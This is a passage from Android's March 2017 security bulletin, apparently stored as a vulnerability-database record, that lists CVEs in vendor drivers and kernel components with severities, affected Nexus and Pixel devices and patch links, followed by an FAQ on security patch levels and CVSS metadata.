QC-CR#1089433](<https://source.codeaurora.org/quic/la//kernel/msm-3.18/commit/?id=eba46cb98431ba1d7a6bd859f26f6ad03f1bf4d4>) | High | Pixel, Pixel XL | Oct 31, 2016 \nCVE-2017-0521 | A-32919951 [ QC-CR#1097709](<https://source.codeaurora.org/quic/la/kernel/msm-3.18/commit/?id=dbe4f26f200db10deaf38676b96d8738afcc10c8>) | High | Nexus 5X, Nexus 6P, Android One, Pixel, Pixel XL | Nov 15, 2016 \n \n### Elevation of privilege vulnerability in MediaTek APK\n\nAn elevation of privilege vulnerability in a MediaTek APK could enable a local malicious application to execute arbitrary code within the context of a privileged process. This issue is rated as High due to the possibility of local arbitrary code execution in a privileged process.\n\nCVE | References | Severity | Updated Google devices | Date reported \n---|---|---|---|--- \nCVE-2017-0522 | A-32916158* M-ALPS03032516 | High | None** | Nov 15, 2016 \n \n* The patch for this issue is not publicly available. The update is contained in the latest binary drivers for Nexus devices available from the [ Google Developer site](<https://developers.google.com/android/nexus/drivers>).\n\n** Supported Google devices on Android 7.0 or later that have installed all available updates are not affected by this vulnerability.\n\n### Elevation of privilege vulnerability in Qualcomm Wi-Fi driver\n\nAn elevation of privilege vulnerability in the Qualcomm Wi-Fi driver could enable a local malicious application to execute arbitrary code within the context of the kernel. This issue is rated as High because it first requires compromising a privileged process.\n\nCVE | References | Severity | Updated Google devices | Date reported \n---|---|---|---|--- \nCVE-2017-0464 | A-32940193 [ QC-CR#1102593](<https://source.codeaurora.org/quic/la/platform/vendor/qcom-opensource/wlan/qcacld-2.0/commit/?id=051597a4fe19fd1292fb7ea2e627d12d1fd2934f>) | High | Nexus 5X, Pixel, Pixel XL | Nov 15, 2016 \nCVE-2017-0453 | A-33979145 [ QC-CR#1105085](<https://source.codeaurora.org/quic/la/platform/vendor/qcom-opensource/wlan/qcacld-2.0/commit/?id=05af1f34723939f477cb7d25adb320d016d68513>) | High | Nexus 5X, Android One | Dec 30, 2016 \nCVE-2017-0523 | A-32835279 [ QC-CR#1096945](<https://source.codeaurora.org/quic/la/kernel/msm-3.18/commit/?id=5bb646471da76d3d5cd02cf3da7a03ce6e3cb582>) | High | None* | Google internal \n \n* Supported Google devices on Android 7.0 or later that have installed all available updates are not affected by this vulnerability.\n\n### Elevation of privilege vulnerability in Synaptics touchscreen driver\n\nAn elevation of privilege vulnerability in the Synaptics touchscreen driver could enable a local malicious application to execute arbitrary code within the context of the kernel. This issue is rated as High because it first requires compromising a privileged process.\n\nCVE | References | Severity | Updated Google devices | Date reported \n---|---|---|---|--- \nCVE-2017-0524 | A-33002026 | High | Android One, Nexus 5X, Nexus 6P, Nexus 9, Pixel, Pixel XL | Nov 18, 2016 \n \n* The patch for this issue is not publicly available. The update is contained in the latest binary drivers for Nexus devices available from the [ Google Developer site](<https://developers.google.com/android/nexus/drivers>).\n\n### Elevation of privilege vulnerability in Qualcomm IPA driver\n\nAn elevation of privilege vulnerability in the Qualcomm IPA driver could enable a local malicious application to execute arbitrary code within the context of the kernel. This issue is rated as High because it first requires compromising a privileged process.\n\nCVE | References | Severity | Updated Google devices | Date reported \n---|---|---|---|--- \nCVE-2017-0456 | A-33106520* QC-CR#1099598 | High | Nexus 5X, Nexus 6P, Android One, Pixel, Pixel XL | Nov 23, 2016 \nCVE-2017-0525 | A-33139056* QC-CR#1097714 | High | Nexus 5X, Nexus 6P, Android One, Pixel, Pixel XL | Nov 25, 2016 \n \n* The patch for this issue is not publicly available. The update is contained in the latest binary drivers for Nexus devices available from the [ Google Developer site](<https://developers.google.com/android/nexus/drivers>).\n\n### Elevation of privilege vulnerability in HTC Sensor Hub Driver\n\nAn elevation of privilege vulnerability in the HTC Sensor Hub Driver could enable a local malicious application to execute arbitrary code within the context of the kernel. This issue is rated as High because it first requires compromising a privileged process.\n\nCVE | References | Severity | Updated Google devices | Date reported \n---|---|---|---|--- \nCVE-2017-0526 | A-33897738* | High | Nexus 9 | Dec 25, 2016 \nCVE-2017-0527 | A-33899318* | High | Nexus 9, Pixel, Pixel XL | Dec 25, 2016 \n \n* The patch for this issue is not publicly available. The update is contained in the latest binary drivers for Nexus devices available from the [ Google Developer site](<https://developers.google.com/android/nexus/drivers>).\n\n### Elevation of privilege vulnerability in NVIDIA GPU driver\n\nAn elevation of privilege vulnerability in the NVIDIA GPU driver could enable a local malicious application to execute arbitrary code within the context of the kernel. This issue is rated as Critical due to the possibility of a local permanent device compromise, which may require reflashing the operating system to repair the device.\n\nCVE | References | Severity | Updated Google devices | Date reported \n---|---|---|---|--- \nCVE-2017-0307 | A-33177895* N-CVE-2017-0307 | High | None** | Nov 28, 2016 \n \n* The patch for this issue is not publicly available. The update is contained in the latest binary drivers for Nexus devices available from the [ Google Developer site](<https://developers.google.com/android/nexus/drivers>).\n\n** Supported Google devices on Android 7.0 or later that have installed all available updates are not affected by this vulnerability.\n\n### Elevation of privilege vulnerability in Qualcomm networking driver\n\nAn elevation of privilege vulnerability in the Qualcomm networking driver could enable a local malicious application to execute arbitrary code within the context of the kernel. This issue is rated as High because it first requires compromising a privileged process.\n\nCVE | References | Severity | Updated Google devices | Date reported \n---|---|---|---|--- \nCVE-2017-0463 | A-33277611 [ QC-CR#1101792](<https://source.codeaurora.org/quic/la//kernel/msm-3.18/commit/?id=955bd7e7ac097bdffbadafab90e5378038fefeb2>) | High | Nexus 5X, Nexus 6, Nexus 6P, Android One, Pixel, Pixel XL | Nov 30, 2016 \nCVE-2017-0460 | A-31252965* QC-CR#1098801 | High | Nexus 5X, Nexus 6, Nexus 6P, Nexus 9, Android One, Pixel, Pixel XL | Google internal \n \n* The patch for this issue is not publicly available. The update is contained in the latest binary drivers for Nexus devices available from the [ Google Developer site](<https://developers.google.com/android/nexus/drivers>).\n\n### Elevation of privilege vulnerability in kernel security subsystem\n\nAn elevation of privilege vulnerability in the kernel security subsystem could enable a local malicious application to to execute code in the context of a privileged process. This issue is rated as High because it is a general bypass for a kernel level defense in depth or exploit mitigation technology.\n\nCVE | References | Severity | Updated Google devices | Date reported \n---|---|---|---|--- \nCVE-2017-0528 | A-33351919* | High | Pixel, Pixel XL | Dec 4, 2016 \n \n* The patch for this issue is not publicly available. The update is contained in the latest binary drivers for Nexus devices available from the [ Google Developer site](<https://developers.google.com/android/nexus/drivers>).\n\n### Elevation of privilege vulnerability in Qualcomm SPCom driver\n\nAn elevation of privilege vulnerability in the Qualcomm SPCom driver could enable a local malicious application to execute arbitrary code within the context of the kernel. This issue is rated as High because it first requires compromising a privileged process.\n\nCVE | References | Severity | Updated Google devices | Date reported \n---|---|---|---|--- \nCVE-2016-5856 | A-32610665 [ QC-CR#1094078](<https://source.codeaurora.org/quic/la/kernel/msm-4.4/commit/?id=0c0622914ba53cdcb6e79e85f64bfdf7762c0368>) | High | None* | Google internal \nCVE-2016-5857 | A-34386529 [ QC-CR#1094140](<https://source.codeaurora.org/quic/la/kernel/msm-4.4/commit/?id=d9d2c405d46ca27b25ed55a8dbd02bd1e633e2d5>) | High | None* | Google internal \n \n* Supported Google devices on Android 7.0 or later that have installed all available updates are not affected by this vulnerability.\n\n### Information disclosure vulnerability in kernel networking subsystem\n\nAn information disclosure vulnerability in the kernel networking subsystem could enable a local proximate attacker to gain access to sensitive information. This issue is rated as High because it could be used to access data without permission.\n\nCVE | References | Severity | Updated Google devices | Date reported \n---|---|---|---|--- \nCVE-2014-8709 | A-34077221 [ Upstream kernel](<http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=338f977f4eb441e69bb9a46eaa0ac715c931a67f>) | High | Nexus Player | Nov 9, 2014 \n \n### Information disclosure vulnerability in MediaTek driver\n\nAn information disclosure vulnerability in the MediaTek driver could enable a local malicious application to access data outside of its permission levels. This issue is rated as High because it could be used to access sensitive data without explicit user permission.\n\nCVE | References | Severity | Updated Google devices | Date reported \n---|---|---|---|--- \nCVE-2017-0529 | A-28449427* M-ALPS02710042 | High | None** | Apr 27, 2016 \n \n* The patch for this issue is not publicly available. The update is contained in the latest binary drivers for Nexus devices available from the [ Google Developer site](<https://developers.google.com/android/nexus/drivers>).\n\n** Supported Google devices on Android 7.0 or later that have installed all available updates are not affected by this vulnerability.\n\n### Information disclosure vulnerability in Qualcomm bootloader\n\nAn information disclosure vulnerability in the Qualcomm bootloader could help to enable a local malicious application to to execute arbitrary code within the context of the bootloader. This issue is rated as High because it is a general bypass for a bootloader level defense in depth or exploit mitigation technology.\n\nCVE | References | Severity | Updated Google devices | Date reported \n---|---|---|---|--- \nCVE-2017-0455 | A-32370952 [ QC-CR#1082755](<https://source.codeaurora.org/quic/la/kernel/lk/commit/?id=2c00928b4884fdb0b1661bcc530d7e68c9561a2f>) | High | Pixel, Pixel XL | Oct 21, 2016 \n \n### Information disclosure vulnerability in Qualcomm power driver\n\nAn information disclosure vulnerability in the Qualcomm power driver could enable a local malicious application to access data outside of its permission levels. This issue is rated as High because it could be used to access sensitive data without explicit user permission.\n\nCVE | References | Severity | Updated Google devices | Date reported \n---|---|---|---|--- \nCVE-2016-8483 | A-33745862 [ QC-CR#1035099](<https://source.codeaurora.org/quic/la//kernel/msm-3.18/commit/?id=6997dcb7ade1315474855821e64782205cb0b53a>) | High | Nexus 5X, Nexus 6P | Dec 19, 2016 \n \n### Information disclosure vulnerability in NVIDIA GPU driver\n\nAn information disclosure vulnerability in the NVIDIA GPU driver could enable a local malicious application to access data outside of its permission levels. This issue is rated as High because it could be used to access sensitive data without explicit user permission.\n\nCVE | References | Severity | Updated Google devices | Date reported \n---|---|---|---|--- \nCVE-2017-0334 | A-33245849* N-CVE-2017-0334 | High | Pixel C | Nov 30, 2016 \nCVE-2017-0336 | A-33042679* N-CVE-2017-0336 | High | Pixel C | Google internal \n \n* The patch for this issue is not publicly available. The update is contained in the latest binary drivers for Nexus devices available from the [ Google Developer site](<https://developers.google.com/android/nexus/drivers>).\n\n### Denial of service vulnerability in kernel cryptographic subsystem\n\nA denial of service vulnerability in the kernel cryptographic subsystem could enable a remote attacker to use a specially crafted network packet to cause a device hang or reboot. This issue is rated as High due to the possibility of remote denial of service.\n\nCVE | References | Severity | Updated Google devices | Date reported \n---|---|---|---|--- \nCVE-2016-8650 | A-33401771 [ Upstream kernel](<http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=f5527fffff3f002b0a6b376163613b82f69de073>) | High | Nexus 5X, Nexus 6P, Pixel, Pixel XL | Oct 12, 2016 \n \n### Elevation of privilege vulnerability in Qualcomm camera driver (device specific)\n\nAn elevation of privilege vulnerability in the Qualcomm camera driver could enable a local malicious application to execute arbitrary code within the context of the kernel. This issue is rated as Moderate because it first requires compromising a privileged process and is mitigated by current platform configurations.\n\nCVE | References | Severity | Updated Google devices | Date reported \n---|---|---|---|--- \nCVE-2016-8417 | A-32342399 [ QC-CR#1088824](<https://source.codeaurora.org/quic/la/kernel/msm-3.10/commit/?id=01dcc0a7cc23f23a89adf72393d5a27c6d576cd0>) | Moderate | Nexus 5X, Nexus 6, Nexus 6P, Android One, Pixel, Pixel XL | Oct 21, 2016 \n \n### Information disclosure vulnerability in Qualcomm Wi-Fi driver\n\nAn information disclosure vulnerability in the Qualcomm Wi-Fi driver could enable a local malicious application to access data outside of its permission levels. This issue is rated as Moderate because it first requires compromising a privileged process.\n\nCVE | References | Severity | Updated Google devices | Date reported \n---|---|---|---|--- \nCVE-2017-0461 | A-32073794 [ QC-CR#1100132](<https://source.codeaurora.org/quic/la/platform/vendor/qcom-opensource/wlan/qcacld-2.0/commit/?id=ce5d6f84420a2e6ca6aad6b866992970dd313a65>) | Moderate | Android One, Nexus 5X, Pixel, Pixel XL | Oct 9, 2016 \nCVE-2017-0459 | A-32644895 [ QC-CR#1091939](<https://source.codeaurora.org/quic/la/kernel/msm-3.18/commit/?h=rel/msm-3.18&id=ffacf6e2dc41b6063c3564791ed7a2f903e7e3b7>) | Moderate | Pixel, Pixel XL | Nov 3, 2016 \nCVE-2017-0531 | A-32877245 [ QC-CR#1087469](<https://source.codeaurora.org/quic/la/kernel/msm-3.18/commit/?id=530f3a0fd837ed105eddaf99810bc13d97dc4302>) | Moderate | Android One, Nexus 5X, Nexus 6P, Pixel, Pixel XL | Nov 13, 2016 \n \n### Information disclosure vulnerability in MediaTek video codec driver\n\nAn information disclosure vulnerability in the MediaTek video codec driver could enable a local malicious application to access data outside of its permission levels. This issue is rated as Moderate because it first requires compromising a privileged process.\n\nCVE | References | Severity | Updated Google devices | Date reported \n---|---|---|---|--- \nCVE-2017-0532 | A-32370398* M-ALPS03069985 | Moderate | None** | Oct 22, 2016 \n \n* The patch for this issue is not publicly available. The update is contained in the latest binary drivers for Nexus devices available from the [ Google Developer site](<https://developers.google.com/android/nexus/drivers>).\n\n** Supported Google devices on Android 7.0 or later that have installed all available updates are not affected by this vulnerability.\n\n### Information disclosure vulnerability in Qualcomm video driver\n\nAn information disclosure vulnerability in the Qualcomm video driver could enable a local malicious application to access data outside of its permission levels. This issue is rated as Moderate because it first requires compromising a privileged process.\n\nCVE | References | Severity | Updated Google devices | Date reported \n---|---|---|---|--- \nCVE-2017-0533 | A-32509422 [ QC-CR#1088206](<https://source.codeaurora.org/quic/la/kernel/msm-3.18/commit/?id=e3af5e89426f1c8d4e703d415eff5435b925649f>) | Moderate | Pixel, Pixel XL | Oct 27, 2016 \nCVE-2017-0534 | A-32508732 [ QC-CR#1088206](<https://source.codeaurora.org/quic/la/kernel/msm-3.18/commit/?id=e3af5e89426f1c8d4e703d415eff5435b925649f>) | Moderate | Pixel, Pixel XL | Oct 28, 2016 \nCVE-2016-8416 | A-32510746 [ QC-CR#1088206](<https://source.codeaurora.org/quic/la/kernel/msm-3.18/commit/?id=e3af5e89426f1c8d4e703d415eff5435b925649f>) | Moderate | Pixel, Pixel XL | Oct 28, 2016 \nCVE-2016-8478 | A-32511270 [ QC-CR#1088206](<https://source.codeaurora.org/quic/la/kernel/msm-3.18/commit/?id=e3af5e89426f1c8d4e703d415eff5435b925649f>) | Moderate | Pixel, Pixel XL | Oct 28, 2016 \n \n### Information disclosure vulnerability in Qualcomm camera driver\n\nAn information disclosure vulnerability in the Qualcomm camera driver could enable a local malicious application to access data outside of its permission levels. This issue is rated as Moderate because it first requires compromising a privileged process.\n\nCVE | References | Severity | Updated Google devices | Date reported \n---|---|---|---|--- \nCVE-2016-8413 | A-32709702 [ QC-CR#518731](<https://source.codeaurora.org/quic/la/kernel/msm-3.10/commit/?id=bc77232707df371ff6bab9350ae39676535c0e9d>) | Moderate | Nexus 5X, Nexus 6, Nexus 6P, Android One, Pixel, Pixel XL | Nov 4, 2016 \nCVE-2016-8477 | A-32720522 [ QC-CR#1090007](<https://source.codeaurora.org/quic/la/kernel/msm-3.10/commit/?id=33c9042e38506b04461fa99e304482bc20923508>) [[2](<https://source.codeaurora.org/quic/la//kernel/msm-3.18/commit/?id=96145eb5f0631f0e105d47abebc8f940f7621eeb>)] | Moderate | Nexus 5X, Nexus 6, Nexus 6P, Android One, Pixel, Pixel XL | Nov 7, 2016 \n \n### Information disclosure vulnerability in HTC sound codec driver\n\nAn information disclosure vulnerability in the HTC sound codec driver could enable a local malicious application to access data outside of its permission levels. This issue is rated as Moderate because it first requires compromising a privileged process.\n\nCVE | References | Severity | Updated Google devices | Date reported \n---|---|---|---|--- \nCVE-2017-0535 | A-33547247* | Moderate | Nexus 9 | Dec 11, 2016 \n \n* The patch for this issue is not publicly available. The update is contained in the latest binary drivers for Nexus devices available from the [ Google Developer site](<https://developers.google.com/android/nexus/drivers>).\n\n### Information disclosure vulnerability in Synaptics touchscreen driver\n\nAn information disclosure vulnerability in the Synaptics touchscreen driver could enable a local malicious application to access data outside of its permission levels. This issue is rated as Moderate because it first requires compromising a privileged process.\n\nCVE | References | Severity | Updated Google devices | Date reported \n---|---|---|---|--- \nCVE-2017-0536 | A-33555878* | Moderate | Android One, Nexus 5X, Nexus 6P, Nexus 9, Pixel, Pixel XL | Dec 12, 2016 \n \n* The patch for this issue is not publicly available. The update is contained in the latest binary drivers for Nexus devices available from the [ Google Developer site](<https://developers.google.com/android/nexus/drivers>).\n\n### Information disclosure vulnerability in kernel USB gadget driver\n\nAn information disclosure vulnerability in the kernel USB gadget driver could enable a local malicious application to access data outside of its permission levels. This issue is rated as Moderate because it first requires compromising a privileged process.\n\nCVE | References | Severity | Updated Google devices | Date reported \n---|---|---|---|--- \nCVE-2017-0537 | A-31614969* | Moderate | Pixel C | Google internal \n \n* The patch for this issue is not publicly available. The update is contained in the latest binary drivers for Nexus devices available from the [ Google Developer site](<https://developers.google.com/android/nexus/drivers>).\n\n### Information disclosure vulnerability in Qualcomm camera driver\n\nAn information disclosure vulnerability in the Qualcomm camera driver could enable a local malicious application to access data outside of its permission levels. This issue is rated as Low because it first requires compromising a privileged process.\n\nCVE | References | Severity | Updated Google devices | Date reported \n---|---|---|---|--- \nCVE-2017-0452 | A-32873615* QC-CR#1093693 | Low | Nexus 5X, Nexus 6P, Android One | Nov 10, 2016 \n \n* The patch for this issue is not publicly available. The update is contained in the latest binary drivers for Nexus devices available from the [ Google Developer site](<https://developers.google.com/android/nexus/drivers>).\n\n## Common Questions and Answers\n\nThis section answers common questions that may occur after reading this bulletin.\n\n**1\\. How do I determine if my device is updated to address these issues? **\n\nTo learn how to check a device's security patch level, read the instructions on the [Pixel and Nexus update schedule](<https://support.google.com/pixelphone/answer/4457705#pixel_phones&nexus_devices>).\n\n * Security patch levels of 2017-03-01 or later address all issues associated with the 2017-03-01 security patch level.\n * Security patch levels of 2017-03-05 or later address all issues associated with the 2017-03-05 security patch level and all previous patch levels. \n\nDevice manufacturers that include these updates should set the patch string level to:\n\n * [ro.build.version.security_patch]:[2017-03-01]\n * [ro.build.version.security_patch]:[2017-03-05]\n\n**2\\. Why does this bulletin have two security patch levels?**\n\nThis bulletin has two security patch levels so that Android partners have the flexibility to fix a subset of vulnerabilities that are similar across all Android devices more quickly. Android partners are encouraged to fix all issues in this bulletin and use the latest security patch level.\n\n * Devices that use the March 1, 2017 security patch level must include all issues associated with that security patch level, as well as fixes for all issues reported in previous security bulletins.\n * Devices that use the security patch level of March 5, 2017 or newer must include all applicable patches in this (and previous) security bulletins.\n\nPartners are encouraged to bundle the fixes for all issues they are addressing in a single update.\n\n**3\\. How do I determine which Google devices are affected by each issue?**\n\nIn the 2017-03-01 and 2017-03-05 security vulnerability details sections, each table has an _Updated Google devices_ column that covers the range of affected Google devices updated for each issue. This column has a few options:\n\n * **All Google devices**: If an issue affects All and Pixel devices, the table will have \"All\" in the _Updated Google devices_ column. \"All\" encapsulates the following [supported devices](<https://support.google.com/pixelphone/answer/4457705#pixel_phones&nexus_devices>): Nexus 5X, Nexus 6, Nexus 6P, Nexus 9, Android One, Nexus Player, Pixel C, Pixel, and Pixel XL.\n * **Some Google devices**: If an issue doesn't affect all Google devices, the affected Google devices are listed in the _Updated Google devices_ column.\n * **No Google devices**: If no Google devices running Android 7.0 are affected by the issue, the table will have \"None\" in the _Updated Google devices_ column. \n\n**4\\. What do the entries in the references column map to?**\n\nEntries under the _References_ column of the vulnerability details table may contain a prefix identifying the organization to which the reference value belongs. These prefixes map as follows:\n\nPrefix | Reference \n---|--- \nA- | Android bug ID \nQC- | Qualcomm reference number \nM- | MediaTek reference number \nN- | NVIDIA reference number \nB- | Broadcom reference number \n \n## Revisions\n\n * March 06, 2017: Bulletin published.\n * March 07, 2017: Bulletin revised to include AOSP links.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2017-03-06T00:00:00", "type": "androidsecurity", "title": "Android Security Bulletin\u2014March 2017", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": true, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2014-8709", "CVE-2016-10200", "CVE-2016-2182", "CVE-2016-5856", "CVE-2016-5857", "CVE-2016-8413", "CVE-2016-8416", "CVE-2016-8417", "CVE-2016-8477", "CVE-2016-8478", "CVE-2016-8479", "CVE-2016-8483", "CVE-2016-8484", "CVE-2016-8485", "CVE-2016-8486", "CVE-2016-8487", "CVE-2016-8488", "CVE-2016-8650", "CVE-2016-8655", "CVE-2016-9793", "CVE-2016-9806", "CVE-2017-0306", "CVE-2017-0307", "CVE-2017-0333", "CVE-2017-0334", "CVE-2017-0335", "CVE-2017-0336", "CVE-2017-0337", "CVE-2017-0338", "CVE-2017-0452", "CVE-2017-0453", "CVE-2017-0455", "CVE-2017-0456", "CVE-2017-0457", "CVE-2017-0458", "CVE-2017-0459", "CVE-2017-0460", "CVE-2017-0461", "CVE-2017-0463", "CVE-2017-0464", "CVE-2017-0466", "CVE-2017-0467", "CVE-2017-0468", "CVE-2017-0469", "CVE-2017-0470", "CVE-2017-0471", "CVE-2017-0472", "CVE-2017-0473", "CVE-2017-0474", "CVE-2017-0475", "CVE-2017-0476", "CVE-2017-0477", "CVE-2017-0478", "CVE-2017-0479", "CVE-2017-0480", "CVE-2017-0481", "CVE-2017-0482", "CVE-2017-0483", "CVE-2017-0484", "CVE-2017-0485", "CVE-2017-0486", "CVE-2017-0487", "CVE-2017-0488", "CVE-2017-0489", "CVE-2017-0490", "CVE-2017-0491", "CVE-2017-0492", "CVE-2017-0494", "CVE-2017-0495", "CVE-2017-0496", "CVE-2017-0497", "CVE-2017-0498", "CVE-2017-0499", "CVE-2017-0500", "CVE-2017-0501", "CVE-2017-0502", "CVE-2017-0503", "CVE-2017-0504", "CVE-2017-0505", "CVE-2017-0506", "CVE-2017-0507", "CVE-2017-0508", "CVE-2017-0509", "CVE-2017-0510", "CVE-2017-0516", "CVE-2017-0517", "CVE-2017-0518", "CVE-2017-0519", "CVE-2017-0520", "CVE-2017-0521", "CVE-2017-0522", "CVE-2017-0523", "CVE-2017-0524", "CVE-2017-0525", "CVE-2017-0526", "CVE-2017-0527", "CVE-2017-0528", "CVE-2017-0529", "CVE-2017-0531", "CVE-2017-0532", "CVE-2017-0533", "CVE-2017-0534", "CVE-2017-0535", "CVE-2017-0536", "CVE-2017-0537"], "modified": "2017-03-07T00:00:00", "id": "ANDROID:2017-03-01", "href": "https://source.android.com/security/bulletin/2017-03-01", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}]}
